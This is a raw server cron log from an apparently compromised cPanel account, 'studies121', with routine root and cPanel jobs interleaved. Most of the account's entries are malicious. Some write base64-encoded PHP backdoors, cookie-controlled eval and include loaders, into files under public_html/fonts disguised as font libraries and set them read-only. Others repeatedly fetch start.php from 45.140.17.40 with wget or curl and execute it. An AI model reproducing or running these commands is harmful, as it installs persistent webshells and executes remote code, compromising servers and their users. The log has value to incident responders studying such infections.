Sep  4 11:59:01 ip-184-168-122-23 CROND[18810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 11:59:01 ip-184-168-122-23 CROND[18812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18920]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18919]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:00:02 ip-184-168-122-23 CROND[18928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:00:02 ip-184-168-122-23 CROND[18922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:00:02 ip-184-168-122-23 CROND[18927]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  4 12:01:01 ip-184-168-122-23 CROND[19043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:01:01 ip-184-168-122-23 CROND[19044]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 12:01:01 ip-184-168-122-23 CROND[19047]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:01:01 ip-184-168-122-23 CROND[19048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:01:01 ip-184-168-122-23 CROND[19049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:01:01 ip-184-168-122-23 CROND[19050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19044]: starting 0anacron
Sep  4 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19063]: finished 0anacron
Sep  4 12:02:01 ip-184-168-122-23 CROND[19238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:02:01 ip-184-168-122-23 CROND[19240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:02:01 ip-184-168-122-23 CROND[19241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:02:01 ip-184-168-122-23 CROND[19243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:02:01 ip-184-168-122-23 CROND[19242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:03:01 ip-184-168-122-23 CROND[19499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:03:01 ip-184-168-122-23 CROND[19502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:03:01 ip-184-168-122-23 CROND[19501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:03:01 ip-184-168-122-23 CROND[19503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:04:01 ip-184-168-122-23 CROND[19844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:04:01 ip-184-168-122-23 CROND[19845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:04:01 ip-184-168-122-23 CROND[19848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:04:01 ip-184-168-122-23 CROND[19849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:04:01 ip-184-168-122-23 CROND[19851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:05:02 ip-184-168-122-23 CROND[20135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:05:02 ip-184-168-122-23 CROND[20141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:06:01 ip-184-168-122-23 CROND[20355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:06:01 ip-184-168-122-23 CROND[20357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:06:01 ip-184-168-122-23 CROND[20358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:06:01 ip-184-168-122-23 CROND[20360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:06:01 ip-184-168-122-23 CROND[20359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:07:01 ip-184-168-122-23 CROND[20518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:07:01 ip-184-168-122-23 CROND[20521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:07:01 ip-184-168-122-23 CROND[20520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:07:01 ip-184-168-122-23 CROND[20522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:08:01 ip-184-168-122-23 CROND[20703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:08:01 ip-184-168-122-23 CROND[20702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:08:01 ip-184-168-122-23 CROND[20704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:08:01 ip-184-168-122-23 CROND[20705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:08:01 ip-184-168-122-23 CROND[20706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:09:01 ip-184-168-122-23 CROND[20957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:09:01 ip-184-168-122-23 CROND[20960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:09:01 ip-184-168-122-23 CROND[20961]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 12:09:01 ip-184-168-122-23 CROND[20958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:09:01 ip-184-168-122-23 CROND[20959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:10:01 ip-184-168-122-23 CROND[21151]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:10:01 ip-184-168-122-23 CROND[21157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:10:01 ip-184-168-122-23 CROND[21154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:10:01 ip-184-168-122-23 CROND[21155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:10:01 ip-184-168-122-23 CROND[21156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:10:01 ip-184-168-122-23 CROND[21158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:10:01 ip-184-168-122-23 CROND[21160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:10:01 ip-184-168-122-23 CROND[21161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:11:01 ip-184-168-122-23 CROND[21303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
